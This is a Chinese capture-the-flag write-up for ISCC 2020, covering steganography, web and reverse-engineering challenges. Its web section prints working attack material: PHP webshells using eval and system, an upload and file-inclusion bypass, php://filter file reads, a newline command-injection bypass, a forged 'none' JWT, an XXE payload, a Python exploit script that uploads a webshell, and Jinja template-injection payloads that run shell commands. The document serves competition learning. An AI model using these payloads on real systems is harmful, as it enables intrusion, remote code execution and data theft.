ISCC 2020 Writeup
Posted spaceskynet
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ISCC 2020 Writeup相关的知识,希望对你有一定的参考价值。
一道pwn和moblie都没解出来就结束了,其它题也好多都没解出来,我真……的还想再学五百年……
向学长看齐,所以还是先宣传一波ISCC……(逃……)
ISCC简介:(复制粘贴来的)
信息安全已涉及到国家政治、经济、文化、社会和生态文明的建设,信息系统越发展到它的高级阶段,人们对其依赖性就越强,从某种程度上讲其越容易遭受攻击,遭受攻击的后果越严重。“网络安全和信息化是一体之两翼、驱动之双轮。没有网络安全就没有国家安全。”信息是社会发展的重要战略资源,国际上围绕信息的获取、使用和控制的斗争愈演愈烈,信息安全保障能力是综合国力、经济竞争实力和生存能力的重要组成部分,是世纪之交世界各国奋力攀登的至高点。 信息安全与对抗技术竞赛(ISCC:Information Security and Countermeasures Contest),于2004年首次举办(国内第一),2020年为第17届。2019年竞赛的注册人数近7000人,参加竞赛的院校数1000多所,ISCC竞赛的影响广泛且深远。竞赛不断追求“更高、更快、更强”,持续培养高素质信息安全对抗专业人才。
摘自官网: ISCC
MISC
high
欢迎来到MISC的炼狱!赛高泥high铁鸭子哒!哈哈哈哈哈哈哈!
做个misc都有JOJO出现,也是醉了啊……
一看png,先分析文件头,文件名high,于是先修改IHDR中高度值,果然发现flag……但……是
还有一层维吉尼亚密码,key为high
…… (longleftarrow) 就这个我交了20多遍错的flag,出师不利
Flag:
ISCC{W3lcome_to_Mi5C_Wryyy}
话说为什么有个一般binwalk固件分析才找到出来的……myi MyiSAM索引文件,迷……
ISCC成绩查询-1
Ron在5月份参加了第17届ISCC竞赛,查成绩的时间到了。但是在他登录时,他突然发现自己忘记了英文用户名,好在他当时记录了自己的英文用户名,你能帮助他找回来嘛?
(连用户名都没记住,嗐……)
仍然一个png,感觉没啥问题,上Stegsolve,发现隐写
是个图论,数了下,发现度为奇数的点刚好两个,而且还有些点有标号,那我们就来走一次欧拉回路吧!
把经过边上的字母连在一起,得到TRLNCHHAFCIEEIEEPR
,但是不像用户名,继续试密码,最后栅栏密码6栏得到THERAILFENCECIPHER
,恰好为栅栏密码英文名,这用户名取得好啊……
Flag:
flag{THERAILFENCECIPHER}
寻找小明-1
没题面,以后补
重点:最低位的背影
,于是上Stegsolve,发现Red plane 0有个二维码,扫一下,得到:(记得反色)
https://pastebin.com/Yjy1crAs
然后,得到一个数组:
[257,1,258,2,259,3,260,4,261,5,262,7,263,8,259,277,438,300,455,319,25,300,456,400,66,366,78,300,421,259,452,23]
个数为偶数,于是猜想是坐标,两个两个从原图找点,由于是在Red plane找到的,就尝试把RGB中R的数值转换为字符,得到flag……
#!/usr/bin/python3
from PIL import Image
pos = [257,1,258,2,259,3,260,4,261,5,262,7,263,8,259,277,438,300,455,319,25,300,456,400,66,366,78,300,421,259,452,23]
if __name__ == "__main__":
img=Image.open("最低位的背影.png")
img_array = img.load()
flag = ""
for i in range(len(pos) // 2):
flag = flag + chr(img_array[pos[i * 2],pos[i * 2 + 1]][0])
print(flag)
(结束了看了学长的wp才发现自己想的太多了……xor,取余,怪不得什么都没找到……)
Flag:
flag{ISCC*funny}
锟斤拷
且作诗一首:
手持两把锟斤拷,口中疾呼烫烫烫。
脚踏千朵屯屯屯,笑看万物锘锘锘。
在神器锟斤拷的高温下,你快速是否能找到flag,免受炼狱之苦呢?
第一次出题,出了个毒瘤题,RE硬生生成了MISC……
首先看到garbled-char.png这个图像,“锟斤拷”三个大字,明显指出了这道题与编码有关,更具体点应该是gbk与unicode。
继续发现图像文件有些偏大,猜想是否隐写了其它文件,用binwork一看,果然发现端倪,解包出来。
得到下列文件:
发现flag.rar有密码,只有从其它几项入手了。
首先看看pwd.txt,发现用默认的utf-8编码无法打开,想想之前的“锟斤拷”,试着用gbk编码打开,得到下列字符串:
“新佛曰”开头,是比较流行的“新约佛论禅”加密,搜索找到解密网站,得到下列字符串:
把字符串当作密码输入,果然不正确,还差了点,继续从剩下的文件找线索。
useful文件像是一个程序,但无法运行,先放在一边。
information.txt的第一行写了“for useful”,解读了这个文件,或许就能让useful运行了。
看剩下七行,第一个字符总是g,b,k中的一个,第二个字符是1-7,之前又说与gbk有关,似乎可以给行排个序?
按照感觉比较合理的顺序排个序,例如:g1,b2,k3,g4,b5,k6,g7。
继续看每行后面的内容,这似曾相似的感觉,似乎是经典的凯撒密码,每行格式相似,而且既有数字也有小写字母,数字也比较连续,看样子数字和小写字母是分开使用交换加密的,循环应该分别是10和26,但是偏移量是多少呢?继续沉思……
继续想到gbk和unicode………… u n i c o d e,一共是7个,g b k g b k g也一共7个,是不是从g b k g b k g --> u n i c o d e呢?字符对应的差值就是每一行对应相应的偏移量?赶紧写份代码试试……
运行后果然得到了下面的结果:
看样子是对useful异或加密了,而且还是分段的,写出解密程序,对useful进行解密。
用file命令判断下文件类型,果然是ELF文件。
拖到ida里面,发现函数很少,感觉被加了壳,继续分析,发现是简单的upx壳,直接脱下即可。
脱完壳继续拖到ida里面,找到main函数,打开graph视图,发现逻辑很复杂,不像一般的程序,比较像虚拟机之类的程序。
打开字符串窗口,看下是否有一些信息,发现了大量Py相关的字符串,有一条明确指出为Python VM,看样子是Python虚拟机没错了,应该是Python脚本的包装器。
最常用的无疑就是Pyinstaller了,通过pyi-bootloader-ignore-signals等字符串也说明了是该ELF是Pyinstaller打的包,开始反编译吧。
查找资料发现,有一款叫pyinstxtractor的开源程序可以反编译Pyinstaller打包程序,为了防止一些奇奇怪怪的事情发生,我们直接到github上找最新的程序源码。
实验后发现pyinstxtractor只能解包exe,不能解包ELF……先放在一旁吧……
继续查阅资料,发现PyInstaller自带pyi-archive_viewer这样一款工具,可以去提取可执行文件中(当然包括ELF)的py代码,有戏!
根据文档,我们可以把pyc文件dump出来,这不就相当于得到源码了吗!
用pyi-archive_viewer很简单就找到了useful这个pyc文件,同时发现了cpython36等字样,说明该文件是在python3.6下用PyInstaller打包的。
现在dump出pyc文件,开始反编译吧。
反编译时工具很多,这里使用uncompyle6。
但却发现出错了,有什么问题吗?
继续查阅资料,发现PyInstaller在打包.pyc时,会把.pyc的magic和时间戳+大小参数去掉,而且各个版本所占字节数不同,同时用pyi-archive_viewer dump时并不会自动还原,只好自己修复,时间戳+大小参数可以随意(可以用00填充),但magic应该怎么获取?
Python 3.6在pyc文件头该增加什么?回想起之前好像有个开源的pyinstxtractor,而Pyinstaller在不同平台用的打包方式应该很相似,可以通过源码学习一下。
通过研究pyinstxtractor源码,我们知道了pyc缺失的部分的格式。
magic可以使用对应版本的python获得,而python 3.6 的magic后面还需要8个字节(时间戳+大小参数),下载Python 3.6,获得四个字节的magic,故pyc一共缺失12个字节。
我们得到了pyc缺失的部分,手动用hex编辑器补上。
然后用uncompyle6反编译,得到py源码。
通过分析发现,这个有用的字符串(也就是需要加在之前获得的字符串后面的字符串),先通过了10次base64编码,再通过输入的pos切片,分别进行a85(Ascii85)和b85(RFC1924)加密后拼接,与目标字符串比较判断是否正确。经过分析,我们可以逆推出useful String。
输入的pos是多少呢?看main前面的表达式我们似乎可以算出来,但是次方过大,无法直接算,发现有取模运算,于是可以用快速幂得到pos为112(当然也可以用数学方法).
但此时的pos并不是targetStr的切片点,因为a85(Ascii85)的加密方式是以4个字节为一组加密为5个字节,故实际的pos = 112 // 4 * 5 = 140,此时就可以开始编写解密脚本了。
最后得到字符串“xefxbfxbd”,这不就是“锟斤拷”的“罪魁祸首”之一吗?
与之前的“我是没有用处的,除非你在后面加点什么”相连,得到密码,解压flag.rar,得到flag.(记得在两边加上flag{})
Flag:
flag{gbk&unicode^_^YOu-gOT+It}
Web
php is the best language
没题面,以后补
有index.php
源码,一看,php反序列化,把flag.php
写到序列化函数就行了
// index.php
<?php
@error_reporting(1);
include ‘flag.php‘;
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}
if (isset($_GET[‘data‘]))
{
$data = $_GET[‘data‘];
$good = unserialize($data);
echo $good;
}
else
{
$url=‘./index.php‘;
}
$html=‘‘;
if(isset($_POST[‘test‘])){
$s = $_POST[‘test‘];
$html.="<p>谢谢参与!</p>";
}
?>
// to-flag.php
<?php
class baby
{
public $file = ‘flag.php‘;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (base64_encode(file_get_contents($filename)))
{
return base64_encode(file_get_contents($filename));
}
}
}
}
$data = new baby;
$good = serialize($data);
echo $good;
?>
得到flag……(我可不是php expert,只是菜鸟)
Flag:
flag{u_r_really_a_php_expert}
What image can do
用最意想不到的图,做最意想不到的事
(有点东西)
文件上传题,下面查看可以运行shell,摆弄一番,发现是内容检测绕过,windows直接找张图片copy /b 1.jpg+shell.php shell.jpg
就行。
顺便发现原本包含的file*.php
在下级子目录,所以GET时记得../uploads/*
,就像这样
http://101.201.126.95:7004/?filename=../uploads/2020/05/07/3942885eb3cba14e059674002813.jpg&submit=phpinfo();
我那乱七八糟的shell
<?php
echo ‘<br/>‘;
echo "__FILE__: ========> ".__FILE__;
echo ‘<br/>‘;
echo "__DIR__: ========> ".__DIR__;
echo ‘<br/>‘;
echo highlight_file("/var/www/html/flag.php");
echo ‘<br/>‘;
echo highlight_file("/var/www/html/index.php");
@eval($_GET[‘submit‘]);
?>
附上index.php
<?php
$SELF_PAGE = substr($_SERVER[‘PHP_SELF‘],strrpos($_SERVER[‘PHP_SELF‘],‘/‘)+1);
if ($SELF_PAGE = "clientcheck.php"){
$ACTIVE = array(‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘active open‘,‘‘,‘‘,‘‘,‘active‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘);
}
include_once ‘inc/uploadfunction.php‘;
$html=‘‘;
if(isset($_POST[‘submit‘])){
$type=array(‘jpg‘,‘jpeg‘,‘png‘);//指定类型
$mime=array(‘image/jpg‘,‘image/jpeg‘,‘image/png‘);
$save_path=‘uploads‘.date(‘/Y/m/d/‘);//根据当天日期生成一个文件夹
$upload=upload(‘uploadfile‘,‘512000‘,$type,$mime,$save_path);//调用函数
if($upload[‘return‘]){
$html.="<p class=‘notice‘>success!</p><p class=‘notice‘>文件保存的路径为:{$upload[‘save_path‘]}</p>";
}else{
$html.="<p class=notice>{$upload[‘error‘]}</p>";
}
}
?>
<head>
<title>ISCC | What can images do?</title>
<style>
body{background-image:url(./static/background.jpg);}
html,body{
position: relative;
height: 100%;
}
.main-content{
position: relative;
width: 300px;
margin: 80px auto;
padding: 20px 40px 40px;
text-align: center;
background: #fff;
border: 1px solid #ccc;
}
.main-content::before,.main-content::after{
content: "";
position: absolute;
width: 100%;height: 100%;
top: 3.5px;left: 0;
background: #fff;
z-index: -1;
-webkit-transform: rotateZ(4deg);
-moz-transform: rotateZ(4deg);
-ms-transform: rotateZ(4deg);
border: 1px solid #ccc;
}
.main-content::after{
top: 5px;
z-index: -2;
-webkit-transform: rotateZ(-2deg);
-moz-transform: rotateZ(-2deg);
-ms-transform: rotateZ(-2deg);
}
.main-content1{
position: relative;
width: 300px;
margin: 80px auto;
padding: 20px 40px 40px;
text-align: center;
background: #fff;
border: 1px solid #ccc;
}
.main-content1::before,.main-content::after{
content: "";
position: absolute;
width: 100%;height: 100%;
top: 3.5px;left: 0;
background: #fff;
z-index: -1;
-webkit-transform: rotateZ(4deg);
-moz-transform: rotateZ(4deg);
-ms-transform: rotateZ(4deg);
border: 1px solid #ccc;
}
.main-content1::after{
top: 5px;
z-index: -2;
-webkit-transform: rotateZ(-2deg);
-moz-transform: rotateZ(-2deg);
-ms-transform: rotateZ(-2deg);
}
</style>
</head>
<body>
<div class="main-content">
<div class="main-content-inner">
<div class="page-content">
<div id="usu_main">
<form class="upload" method="post" enctype="multipart/form-data" action=""><br/>
<input class="uploadfile" type="file" name="uploadfile" /><br/>
<input class="sub" type="submit" name="submit" value="点击上传" />
</form>
<?php
echo $html;//输出了上传文件的路径
?>
</div>
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->
<?php
$SELF_PAGE = substr($_SERVER[‘PHP_SELF‘],strrpos($_SERVER[‘PHP_SELF‘],‘/‘)+1);
if ($SELF_PAGE = "fi_local.php"){
$ACTIVE = array(‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘active open‘,‘‘,
‘active‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘,‘‘);
}
$html=‘‘;
if(isset($_GET[‘submit‘]) && $_GET[‘filename‘]!=null){
$filename=$_GET[‘filename‘];
include "include/$filename";//变量传进来直接包含,没做任何的安全限制
// 安全的写法,使用白名单,严格指定包含的文件名
// if($filename==‘file1.php‘ || $filename==‘file2.php‘ || $filename==‘file3.php‘ || $filename==‘file4.php‘ || $filename==‘file5.php‘){
// include "include/$filename";
// }
}
?>
<div class="main-content1">
<div class="main-content-inner1">
<div class="page-content1">
<div id=fi_main>
<p class="fi_title">PS:这里可以看到一些好看的图片示例哦~</p>
<form method="get">
<select name="filename">
<option value="">--------------</option>
<option value="file1.php">the Eiffel Tower</option>
<option value="file2.php">the Great Wall</option>
<option value="file3.php">Big Ben</option>
<option value="file4.php">Statue Of Liberty</option>
<option value="file5.php">Taj Mahal</option>
</select>
<input class="sub" type="submit" name="submit" />
</form>
<?php echo $html;?>
</div>
</div><!-- /.page-content1 -->
</div>
</div><!-- /.main-content1 -->
</body>
最终flag为:
Flag:
flag{ISCC_FREAKING_AWESOME}
的确意想不到,webshell被传了一大堆,而且靶场上传目录还被写成过000
,醉……
Where is file
没题面,以后补
有源码,分析后直接php伪协议,php://filter
搞定
http://101.201.126.95:7009/?file=php://filter/read=convert.base64-encode/resource=flag.php&hello=flag.php
// index.php
<?php
show_source(__FILE__);
echo $_GET[‘hello‘];
$file=$_GET[‘file‘];
while (strstr($file, "file://")) {
$file=str_replace("file://", "", $file);
}
include($file);
?>
// flag.php
<?php
$a="flag{web_include_file}";
?>
Flag:
flag{web_include_file}
阿帅的爱情
找到题目,发现index.php
源码
<?php
if(!isset($_GET["ip"])){
show_source(__file__);
} else
{
$ip=$_GET["ip"];
$pattern="/[;|&].*[a-zA-Z]+/";
if(preg_match($pattern,$ip)!=0){
die(‘bad domain‘);
}
try {
$result = shell_exec(‘ping -c 4 ‘ . $ip);
}
catch(Exception $e) {
$result = $e->getMessage();
echo $result;
}
$result = str_replace("
", "<br>", $result);
echo $result;
}
发现是审计,分析一下,有一个命令执行漏洞,正则被过滤,但是可以直接用%0a绕过,ls
查看发现flag.php
,直接cat flag.php
这个flag够长……
Flag:
flag{6Zi/5qOu5LiK5LqG6Zi_5biF77yM5Zyo5LiA5Liq5rKh5py_J5pif5pif55qE5aSc5pma}
未知的风险-1
打开,发现只有hello guest;,于是用burpsuite抓包,发现Cookie: token,分析一下,是JWT,所以根据题意伪造user的JWT
alg为none,于是第三部分加密就不用伪造了
// JWT伪装user:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6InVzZXIiLCJpYXQiOjE1ODg4NTM1OTYsImp0aSI6ImEzNGFkMzQ4ZGMzMjZkOTIxNGUyNmVkYTcwMTBjYjA2In0.
{"typ":"JWT","alg":"none"}.{"id":"user","iat":1588853596,"jti":"a34ad348dc326d9214e26eda7010cb06"}
修改Cookie,进入一个登录页面,查看页面源代码,发现ajax请求用的是XML,所以可以用XXE漏洞。
抓包,修改XML,试了几下,发现php
伪协议能用,有flag.php
,于是JWT+XXE+php://filter
搞定,
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php" >]>
<user><username>&xxe;</username><password>asd</password></user>`
最后base64转化一下:
Flag:
flag{get_the_methodd}
未知的风险-2
没题面,以后补
有index.txt,不过需要去有意试一下
//index.php
<?php
//error_reporting(0);
include(‘secret.php‘);
$sandbox_dir = ‘sandbox/‘.sha1($_SERVER[‘REMOTE_ADDR‘]);
global $sandbox_dir;
function myserialize($a, $secret) {
$b = str_replace("../","./", serialize($a));
return $b.hash_hmac(‘sha256‘, $b, $secret);
}
function myunserialize($a, $secret) {
if(substr($a, -64) === hash_hmac(‘sha256‘, substr($a, 0, -64), $secret)){
return unserialize(substr($a, 0, -64));
}
}
class UploadFile {
function upload($fakename, $content) {
global $sandbox_dir;
$info = pathinfo($fakename);
$ext = isset($info[‘extension‘]) ? ".".$info[‘extension‘] : ‘.txt‘;
file_put_contents($sandbox_dir.‘/‘.sha1($content).$ext, $content);
$this->fakename = $fakename;
$this->realname = sha1($content).$ext;
}
function open($fakename, $realname) {
global $sandbox_dir;
$analysis = "$fakename is in folder $sandbox_dir/$realname.";
return $analysis;
}
}
if(!is_dir($sandbox_dir)) {
mkdir($sandbox_dir,0777,true);
}
if(!is_file($sandbox_dir.‘/.htaccess‘)) {
file_put_contents($sandbox_dir.‘/.htaccess‘, "php_flag engine off");
}
if(!isset($_GET[‘action‘])) {
$_GET[‘action‘] = ‘home‘;
}
if(!isset($_COOKIE[‘files‘])) {
setcookie(‘files‘, myserialize([], $secret));
$_COOKIE[‘files‘] = myserialize([], $secret);
}
switch($_GET[‘action‘]){
case ‘home‘:
default:
$content = "<form method=‘post‘ action=‘index.php?action=upload‘ enctype=‘multipart/form-data‘><input type=‘file‘ name=‘file‘><input type=‘submit‘/></form>";
$files = myunserialize($_COOKIE[‘files‘], $secret);
if($files) {
$content .= "<ul>";
$i = 0;
foreach($files as $file) {
$content .= "<li><form method=‘POST‘ action=‘index.php?action=changename&i=".$i."‘><input type=‘text‘ name=‘newname‘ value=‘".htmlspecialchars($file->fakename)."‘><input type=‘submit‘ value=‘Click to edit name‘></form><a href=‘index.php?action=open&i=".$i."‘ target=‘_blank‘>Click to show locations</a></li>";
$i++;
}
$content .= "</ul>";
}
echo $content;
break;
case ‘upload‘:
if($_SERVER[‘REQUEST_METHOD‘] === "POST") {
if(isset($_FILES[‘file‘])) {
$uploadfile = new UploadFile;
$uploadfile->upload($_FILES[‘file‘][‘name‘], file_get_contents($_FILES[‘file‘][‘tmp_name‘]));
$files = myunserialize($_COOKIE[‘files‘], $secret);
$files[] = $uploadfile;
setcookie(‘files‘, myserialize($files, $secret));
header("Location: index.php?action=home");
exit;
}
}
break;
case ‘changename‘:
if($_SERVER[‘REQUEST_METHOD‘] === "POST") {
$files = myunserialize($_COOKIE[‘files‘], $secret);
if(isset($files[$_GET[‘i‘]]) && isset($_POST[‘newname‘])){
$files[$_GET[‘i‘]]->fakename = $_POST[‘newname‘];
}
setcookie(‘files‘, myserialize($files, $secret));
}
header("Location: index.php?action=home");
exit;
case ‘open‘:
$files = myunserialize($_COOKIE[‘files‘], $secret);
if(isset($files[$_GET[‘i‘]])){
echo $files[$_GET[‘i‘]]->open($files[$_GET[‘i‘]]->fakename, $files[$_GET[‘i‘]]->realname);
}
exit;
case ‘reset‘:
setcookie(‘files‘, myserialize([], $secret));
$_COOKIE[‘files‘] = myserialize([], $secret);
array_map(‘unlink‘, glob("$sandbox_dir/*"));
header("Location: index.php?action=home");
exit;
}
是个自建沙箱上传的题目,用了.htaccess
防止webshell运行,有几个功能,同时发现反序列化函数,在这里,由于用户控制的Cookie被直接发送到s_unserialize()函数,所以我们可以尝试寻找PHP对象注入漏洞。
……(过程十分复杂,由于是Insomni‘hack Teaser 2018 File Vault 原题,可以参考官方Writeup )
脚本如下,传上去webshell后就可以用中国蚁剑连接了,不过其实直接GET cat ../../flag.php
就行了,不过不要拿着shell乱搞……
import requests
import urllib
import hashlib
URL = "http://101.201.126.95:7005/"
s = requests.Session()
default_content = "AK"
my_ip = "127.0.0.1" # 修改为自己ip
newname = "../" * 117 # 覆写 fakename #2
remote_address = hashlib.sha1(my_ip.encode(‘utf-8‘)).hexdigest()
serialized_injection = ‘";s:8:"realname";s:44:"%s.txt";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/%s/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"‘ % (hashlib.sha1(default_content.encode(‘utf-8‘)).hexdigest(), remote_address)
shell_php = ‘‘‘<?php
if(isset($_POST[‘pass‘])){
@eval($_POST[‘pass‘]);
}
if(isset($_GET[‘cmd‘])){
system($_GET[‘cmd‘]);
}
if(isset($_GET[‘phpcmd‘])){
@eval($_GET[‘phpcmd‘]);
}
?>‘‘‘
def upload(name, content=default_content):
files = {‘file‘: (name, content)}
params = { "action" : "upload" }
s.post(URL, params=params, files=files)
def rename(index, new_name):
data = { "newname" : new_name }
params = {
"action" : "changename",
"i" : index
}
s.post(URL, params=params, data=data)
def open_file(index):
params = {
"action" : "open",
"i" : index
}
return s.get(URL, params=params).text
# 随意上传两个文件
upload("A")
upload("B")
# 通过重命名注入序列化 ZipArchiver
rename(1, serialized_injection)
rename(0, newname)
# 上传 shell
upload("shell.php", shell_php)
# 收到的 Cookie
print(" === Cookie === ")
print(urllib.request.unquote(s.cookies[‘files‘]))
print(" ============== ")
# Trigger .htaccess 被删除
open_file(1)
shell_url = URL + "sandbox/%s/%s.php" % (remote_address, hashlib.sha1(shell_php.encode(‘utf-8‘)).hexdigest())
print(shell_url)
response = requests.get(shell_url, params={"cmd" : "cat ../../secret.php"})
flag = response.text
print(flag)
得到flag……(第一次的时候发现sandbox无法访问,准是靶场目录权限又被改成000
了)
Flag:
flag{ghs_aswoer_nmxld}
(随意翻了下别人传的,都是些什么和什么哦……)
Easy Injection
python template injection
唯一做的一道擂台题,明显python template注入……
找到第231个类包含了os库,于是用listdir查看,看到flog
文件,用popen创建管道传回终端结果,得到flag……
第一次:
http://101.201.126.95:7050/{% for item in ‘‘.__class__.__mro__[1].__subclasses__() %}%0a{% if ‘os‘ in item.__init__.__globals__ %}%0a{{‘%s‘ % (item.__dict__)}}%0a{% endif %}%0a{% endfor %}
第二次:
http://101.201.126.95:7050/{{‘‘.__class__.__mro__[1].__subclasses__()[231].__init__.__globals__[‘os‘].listdir(‘.‘)}}
返回:URL http://101.201.126.95:7050/[‘%‘, ‘tt.txt‘, ‘.travis.yml‘, ‘.gitignore‘, ‘requirements.txt‘, ‘index.py‘, ‘flog‘] not found
第三次:
http://101.201.126.95:7050/{{‘‘.__class__.__mro__[1].__subclasses__()[231].__init__.__globals__[‘os‘].popen("cat flog").read()}}
附上index.py
#encoding:utf-8
from flask import Flask,request,render_template_string
import urllib.request,urllib.parse
app = Flask(__name__)
@app.route("/")
def hello():
return "python template injection"
@app.errorhandler(404)
def page_not_found(error):
url = urllib.parse.unquote(request.url)
return render_template_string("<h1>URL %s not found</h1><br/>"%url), 404
if __name__ == ‘__main__‘:
app.run(debug=False, host=‘0.0.0.0‘, port=80)
Flag:
flag{tomrrow_WILL_be_FINE}
(但是明天下雨,谢谢……)
Re
苏大强的保险箱-1
没题面,以后补
直接用IDA,找到加密函数,直接写段C输出即可……
记得要逆序一下
#include<stdio.h>
int b[20] = {0xD5, 0x9E, 0xB4, 0x70, 0x78, 0x60, 0x82, 0x70, 0x39, 0x5E};
int a[20] = {0x0A, 7, 0x41, 0x0B, 0x2C, 0x0C, 0x3D, 0x38, 0x27, 0x73};
int main()
{
char m[20];
for (int i = 0; i <= 9; ++i) m[9 - i] = b[9 - i] - i - a[i];
printf("flag{%s}
", m);
return 0;
}
Flag:
flag{You-g0t-1T}
苏大强的保险箱-2
没题面,以后补
还是用IDA,找到加密函数,发现是RC4,百度后直接写出C文件,输出flag
#include<stdio.h>
#include<time.h>
#include<string.h>
#include<stdlib.h>
#define MAX 65534
int S[256]; //向量S
char T[256]; //向量T
char Key[256] = "a1dWT1pJXF1USVxRV1ZbUElQSVBJ";
int KeyStream[MAX]; //密钥
char CryptoText[MAX];
void init_S()
{
for(int i = 0; i < 256; i++)
{
S[i] = i;
}
}
void init_Key()
{
// 初始密钥
int keylen = strlen(Key);
for(int i = 0; i < 256; i++) //初始化T[]
{
T[i] = Key[i%keylen];
}
}
void permute_S()
{
// 置换S;
int temp;
int j = 0;
for(int i = 0; i < 256; i++)
{
j = (j + S[i] + T[i]) % 256;
temp = S[i];
S[i] = S[j];
S[j] = temp;
}
}
void create_key_stream(int textLength)
{
// 生成密钥流
int i,j;
int temp, t, k;
int index = 0;
i = j = 0;
while(textLength --) //生成密钥流
{
i = (i+1)%256;
j = (j + S[i]) % 256;
temp = S[i];
S[i] = S[j];
S[j] = temp;
t = (S[i] + S[j]) % 256;
KeyStream[index] = S[t];
index ++;
}
}
void Rc4EncryptText(int *text, int textLength)
{
//加密 && 解密
init_S();
init_Key();
permute_S();
create_key_stream(textLength);
printf("============开始解密============:
");
for(int i = 0; i < textLength; i++)
{
CryptoText[i] = (char)(KeyStream[i] ^ text[i]); //加密
}
printf("flag{");
for(int i = 0; i < textLength; i++)
{
printf("%c", CryptoText[i]);
}
printf("}
");
printf("
============解密完成============
");
}
int main()
{
int x[20] = {-99, -121, 113, -92, -125, 11, -86, 83, -60, 56, 54, -123};
Rc4EncryptText(x, 12);
system("pause");
return 0;
}
IDA一番操作猛如虎……
Flag:
flag{1amSuda7iang}
(话说做2的时候都忘了1有个key了,直接IDA找出来,不管它是组合题了)
结语
别问我为什么用cnblogs……
主要是现在都没找到满意的blog方式,但是发现Hexo + Django好像不错,可以暑假写写试试
以上是关于ISCC 2020 Writeup的主要内容,如果未能解决你的问题,请参考以下文章